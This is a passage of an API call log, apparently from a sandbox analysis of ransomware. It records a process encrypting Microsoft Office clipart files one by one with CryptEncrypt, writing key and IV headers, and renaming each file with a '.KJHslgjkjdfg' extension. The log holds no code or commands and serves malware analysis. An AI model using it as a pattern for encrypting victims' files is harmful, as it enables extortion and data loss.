lpOverlapped=0x0) returned 1 [0211.755] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.755] SetEndOfFile (hFile=0x130) returned 1 [0211.759] GetProcessHeap () returned 0x990000 [0211.759] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.759] GetProcessHeap () returned 0x990000 [0211.759] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf.kjhslgjkjdfg")) returned 1 [0211.761] CloseHandle (hObject=0x130) returned 1 [0211.761] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf630100, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf630100, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00452_.WMF", cAlternateFileName="")) returned 1 [0211.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.763] GetProcessHeap () returned 0x990000 [0211.763] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.763] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.763] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.771] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.771] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.771] GetProcessHeap () returned 0x990000 [0211.771] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.771] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.771] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.771] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.771] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.771] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.771] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.772] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.772] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x878, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x878, lpOverlapped=0x0) returned 1 [0211.772] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x880, dwBufLen=0x880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x880) returned 1 [0211.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.772] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x880, lpOverlapped=0x0) returned 1 [0211.772] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.772] SetEndOfFile (hFile=0x130) returned 1 [0211.775] GetProcessHeap () returned 0x990000 [0211.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.775] GetProcessHeap () returned 0x990000 [0211.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.kjhslgjkjdfg")) returned 1 [0211.778] CloseHandle (hObject=0x130) returned 1 [0211.778] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0211.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.779] GetProcessHeap () returned 0x990000 [0211.779] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.779] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.801] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.801] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.801] GetProcessHeap () returned 0x990000 [0211.801] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.801] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.801] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.801] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.801] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.801] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.802] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.802] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.802] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.802] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x59ec, lpOverlapped=0x0) returned 1 [0211.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59f0, dwBufLen=0x59f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x59f0) returned 1 [0211.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.805] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x59f0, lpOverlapped=0x0) returned 1 [0211.805] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.805] SetEndOfFile (hFile=0x130) returned 1 [0211.808] GetProcessHeap () returned 0x990000 [0211.808] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.808] GetProcessHeap () returned 0x990000 [0211.808] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.kjhslgjkjdfg")) returned 1 [0211.810] CloseHandle (hObject=0x130) returned 1 [0211.810] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0211.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.813] GetProcessHeap () returned 0x990000 [0211.813] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.813] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.813] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.818] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.818] GetProcessHeap () returned 0x990000 [0211.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.818] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.818] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.818] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.819] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.819] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb6c, lpOverlapped=0x0) returned 1 [0211.819] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb70, dwBufLen=0xb70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb70) returned 1 [0211.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.819] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb70, lpOverlapped=0x0) returned 1 [0211.819] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.819] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.819] SetEndOfFile (hFile=0x130) returned 1 [0211.822] GetProcessHeap () returned 0x990000 [0211.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.822] GetProcessHeap () returned 0x990000 [0211.822] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.kjhslgjkjdfg")) returned 1 [0211.824] CloseHandle (hObject=0x130) returned 1 [0211.825] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0211.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.826] GetProcessHeap () returned 0x990000 [0211.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.826] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.829] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.829] GetProcessHeap () returned 0x990000 [0211.829] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.829] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.829] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.829] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.829] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.829] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.830] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.830] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.830] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.830] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xac8, lpOverlapped=0x0) returned 1 [0211.830] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0, dwBufLen=0xad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xad0) returned 1 [0211.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.830] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xad0, lpOverlapped=0x0) returned 1 [0211.830] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.830] SetEndOfFile (hFile=0x130) returned 1 [0211.833] GetProcessHeap () returned 0x990000 [0211.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.833] GetProcessHeap () returned 0x990000 [0211.833] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.kjhslgjkjdfg")) returned 1 [0211.836] CloseHandle (hObject=0x130) returned 1 [0211.836] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78be2200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0211.836] 